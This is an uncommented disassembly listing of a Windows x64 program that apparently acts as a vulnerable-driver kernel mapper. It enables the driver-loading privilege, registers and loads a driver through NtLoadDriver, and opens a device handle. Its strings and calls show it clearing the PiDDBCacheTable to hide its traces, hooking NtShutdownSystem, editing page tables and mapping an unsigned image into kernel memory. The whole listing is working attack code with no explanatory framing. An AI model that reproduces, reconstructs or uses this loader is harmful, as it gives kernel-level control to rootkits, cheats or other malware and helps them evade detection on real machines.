call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008695
test eax, eax
js 0x1400087ab
mov edi, r15d
cmp dword [rbx], 0
jbe 0x1400087ab
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140008730
lea rcx, [rbp + 0x20]
call fcn.140002870
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
lea rdx, [0x1400139f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140008a1f
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400087a1
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000879c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008a66
call fcn.140010be0
inc edi
cmp edi, dword [rbx]
jb 0x140008700
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [0x140026ee8]
call fcn.140010ed4
mov eax, dword [r13]
cmp dword [0x140026eec], eax
jle 0x140008802
lea rcx, [0x140026eec]
call fcn.140010f40
cmp dword [0x140026eec], 0xffffffff
jne 0x140008802
call fcn.1400058e0
mov qword [0x140026ee0], rax
lea rcx, [0x140026eec]
call fcn.140010ed4
mov eax, dword [r13]
cmp dword [0x140026ef4], eax
jle 0x14000883b
lea rcx, [0x140026ef4]
call fcn.140010f40
cmp dword [0x140026ef4], 0xffffffff
jne 0x14000883b
call fcn.140005cf0
mov qword [0x140026ef8], rax
lea rcx, [0x140026ef4]
call fcn.140010ed4
cmp qword [0x140026ee0], 0
je 0x140009cc2
cmp qword [0x140026ef8], 0
je 0x140009cc2
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
mov qword [rbp + 0xd8], r15
mov ecx, 0x6677
call fcn.140010be8
test rax, rax
je 0x140009cbb
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rbp + 0xc8], rdi
lea rsi, [rdi + 0x6650]
mov qword [rbp + 0xd8], rsi
mov r8d, 0x6650
lea r12, [0x140014000]
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0xd0], rsi
lea rdx, [rbp + 0x20]
call fcn.140006c50
nop
lea rcx, [rsp + 0x48]
call fcn.140005790
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400088eb
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.14000b0c0
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140002740
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140008a7c
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140008a07
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
xor r15d, r15d
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r12b
jmp 0x1400085bd
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400087bd
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
jmp 0x1400087bd
call fcn.140010be0
movdqu xmmword [rbp + 0x80], xmm7
mov byte [rbp + 0x70], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140008acd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ac8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ac8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rsp + 0x58], xmm6
mov word [rsp + 0x48], r15w
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x1a0]
call fcn.140009de0
nop
sub rsi, rdi
mov r8, rsi
mov rdx, rdi
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1a8]
call fcn.14000aec0
test rax, rax
jne 0x140008b5b
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x68]
call fcn.14000bb50
mov qword [rbp - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x28]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140008ba7
mov bl, 1
jmp 0x140008c19
mov qword [rbp + 0x18], r15
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rdx, qword [rsp + 0x68]
lea r8, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140008bcf
mov bl, 1
jmp 0x140008c19
mov dword [rbp - 0x10], 1
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x10
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140008c0d
mov bl, 1
jmp 0x140008c19
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140008c5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test bl, bl
je 0x140008c68
xor bl, bl
jmp 0x14000910c
lea rax, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rax, qword [rbp + 0xa8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400043c0
mov dword [rbp + 0x18], 3
mov qword [rbp - 0x10], 0
lea rax, [0x140026110]
mov qword [rbp - 8], rax
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140005530
mov dword [rbp + 0x18], 7
cmp dword [rbp - 0x10], 0
jne 0x140009da9
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rax, qword [rsp + 0x68]
mov qword [rbp - 0x10], rax
mov rax, qword [rsp + 0x78]
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.14000b0c0
mov dword [rbp + 0x18], 0x3f
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0xe0]
call fcn.14000b380
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x10]
call fcn.140002870
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140002740
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea r8, [rbp - 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140008de4
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140008ddd
inc rdx
mov rcx, qword [rbp - 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140008dd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008efb
call fcn.140010be0
mov bl, 1
jmp 0x140008f0c
mov byte [rbp - 0x1e], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x1e]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008da2
mov byte [rbp + 0x10], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008da2
mov byte [rbp - 0x1f], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x1f]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008da2
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140008e92
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008da2
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140008f07
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140008f50
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0xf0], xmm7
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140008f9d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp - 0x40], xmm7
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140008fea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fe5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rsp + 0x78], xmm6
mov word [rsp + 0x68], r15w
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14000903b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009036
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009036
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test bl, bl
je 0x140009046
xor bl, bl
jmp 0x14000910c
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.140002870
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140002740
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x110]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000910c
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009107
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009107
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xe0]
call fcn.140002280
mov byte [rbp + 0x100], bl
lea rcx, [rbp + 0x1a0]
call fcn.140006d70
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140009173
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000916e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000916e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400091cb
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
nop
cmp rsi, 0x1000
jb 0x1400091f0
add rsi, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x140009cbb
mov rdi, rcx
mov rdx, rsi
mov rcx, rdi
call fcn.140010be0
nop
test bl, bl
jne 0x140009271
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm7
mov byte [rsp + 0x48], bl
mov qword [rbp + 0x128], r15
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x130]
call fcn.140002280
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400092c0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000926a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000926a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
jmp 0x1400092c0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140026e58], rax
mov qword [rbp + 0x128], rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x130]
call fcn.140002280
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140009302
inc rdx
mov rcx, qword [rbp + 0xe0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400092fc
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009cbb
call fcn.140010be0
nop
cmp qword [rbp + 0x128], 0
je 0x140009c53
cmp qword [rbp + 0x140], 0
je 0x140009c53
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rdx, qword [rbp + 0x130]
lea rcx, str.___vulnerable_driver_loaded___s__n
call fcn.140001260
lea rcx, [rbp - 0x20]
call fcn.14000d9d0
mov eax, 0x5a4d
cmp word [0x140014000], ax
jne 0x140009368
movsxd r8, dword [0x14001403c]
add r8, 8
add r8, r12
jmp 0x14000936e
mov r8d, 4
mov r8d, dword [r8]
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x20]
call fcn.14000f330
test al, al
jne 0x14000941b
lea rcx, str.____failed_to_clear_piddbcache_table_n
call fcn.140001260
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xe0]
call fcn.140002280
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400093ca
mov rcx, rbx
call fcn.140006e30
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140009407
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140009402
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x1400093ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.140010be0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
jmp 0x140009c5f
mov rbx, r14
mov r12d, dword [rbp - 0x78]
mov qword [rsp + 0x40], r12
lea rsi, [r12 + r14]
cmp r14, rsi
jae 0x1400096d3
movabs r14, 0x7ffffffffffffffd
nop
mov rdi, qword [0x140026ef8]
mov eax, dword [r13]
cmp dword [0x140026e50], eax
jle 0x140009498
lea rcx, [0x140026e50]
call fcn.140010f40
cmp dword [0x140026e50], 0xffffffff
jne 0x140009498
lea rcx, [0x140013b68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026eb8], rax
lea rcx, [0x140026e50]
call fcn.140010ed4
lea rcx, [0x140026130]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1400098b3
cmp dword [0x14002617c], 0x7fffffff
je 0x14000989d
mov dword [rbp + 0xc8], 0x25ff
mov word [rbp + 0xcc], ax
mov qword [rbp + 0xce], rdi
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp + 0x110]
call fcn.1400072e0
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp + 0xc8]
call fcn.140007480
mov rax, qword [0x140026eb8]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp + 0x110]
call fcn.140007480
lea rcx, [0x140026130]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x20]
call fcn.14000e220
test al, al
jne 0x14000955f
xor r8d, r8d
mov qword [rbp - 0x28], r8
jmp 0x140009563
mov r8, qword [rbp - 0x28]
shr r8, 7
and r8d, 1
mov rdx, rbx
lea rcx, str.___manipulating_page_table___p__large_page___x__n
call fcn.140001260
mov rax, qword [rbp - 0x28]
test al, al
jns 0x140009596
and rax, r14
or rax, 2
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x28]
jmp 0x1400096b1
mov rdi, qword [0x140026ee0]
mov eax, dword [r13]
cmp dword [0x140026e50], eax
jle 0x1400095ee
lea rcx, [0x140026e50]
call fcn.140010f40
cmp dword [0x140026e50], 0xffffffff
jne 0x1400095ee
lea rcx, [0x140013b68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026eb8], rax
lea rcx, [0x140026e50]
call fcn.140010ed4
lea rcx, [0x140026130]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140009891
cmp dword [0x14002617c], 0x7fffffff
je 0x14000987b
mov dword [rbp + 0x60], 0x25ff
mov word [rbp + 0x64], ax
mov qword [rbp + 0x66], rdi
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp - 0x10]
call fcn.1400072e0
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp + 0x60]
call fcn.140007480
mov rax, qword [0x140026eb8]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x140026e60]
mov r8d, 0xe
lea rdx, [rbp - 0x10]
call fcn.140007480
lea rcx, [0x140026130]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x20]
call fcn.14000e220
test al, al
jne 0x14000969e
xor eax, eax
jmp 0x1400096a2
mov rax, qword [rbp + 0x18]
and rax, r14
or rax, 2
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x18]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14000e9a0
add rbx, 0x1000
cmp rbx, rsi
jb 0x140009440
mov r9d, 4
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov rbx, qword [rbp - 0x70]
mov r8d, dword [rbx + 0x54]
mov rdx, qword [rbp + 0x90]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, r14
lea rcx, str._n___local_mapped_image_base___p__n
call fcn.140001260
movzx ecx, word [rbx + 0x14]
lea r15, [rbx + 0x18]
add r15, rcx
xor eax, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x140009792
lea rdi, [r15 + 0x10]
mov r13, qword [rbp - 0x58]
mov r12, rbx
mov ebx, dword [rdi - 4]
add rbx, r14
mov r8d, dword [rdi]
mov edx, dword [rdi + 4]
add rdx, qword [rbp + 0x90]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r9d, dword [rdi - 4]
add r9, r13
movsxd rax, esi
lea rcx, [rax + rax*4]
lea rdx, [r15 + rcx*8]
mov eax, dword [rdi]
mov dword [rsp + 0x20], eax
mov r8, rbx
lea rcx, str.___mapping_section___s____p______p___0x_x__n
call fcn.140001260
inc esi
lea rdi, [rdi + 0x28]
movzx eax, word [r12 + 6]
cmp esi, eax
jl 0x140009733
mov r12, qword [rsp + 0x40]
mov r13, qword [rbp - 0x68]
mov rbx, qword [rbp - 0x70]
lea r8, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova r8, qword [rbp + 0x170]
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x20], eax
mov rax, qword [rbp - 0x60]
mov r9, qword [rax + 0x18]
mov rdx, qword [rax + 8]
lea rcx, str.___mapping___s______s__in_section___s__with_size__0x_x__n
call fcn.140001260
mov rsi, qword [rbp - 0x58]
mov rdi, rsi
sub rdi, qword [rbx + 0x30]
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1400098fc
movsxd rax, dword [r14 + 0x3c]
add rax, r14
cmp dword [rax], 0x4550
jne 0x1400098fc
test rax, rax
je 0x1400098fc
xor ecx, ecx
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
xor r15d, r15d
mov qword [rbp], rcx
mov ebx, dword [rax + 0xb0]
add rbx, r14
mov eax, dword [rbx]
test eax, eax
je 0x1400098ec
mov rdx, qword [rbp - 8]
nop word [rax + rax]
add rax, r14
mov qword [rbp + 0x110], rax
lea rax, [rbx + 8]
mov qword [rbp + 0x118], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp + 0x120], eax
cmp rdx, rcx
je 0x1400098bf
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movsd xmm1, qword [rbp + 0x120]
movsd qword [rdx + 0x10], xmm1
add rdx, 0x18
mov qword [rbp - 8], rdx
jmp 0x1400098d7
mov dword [0x14002617c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [0x14002617c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp + 0x110]
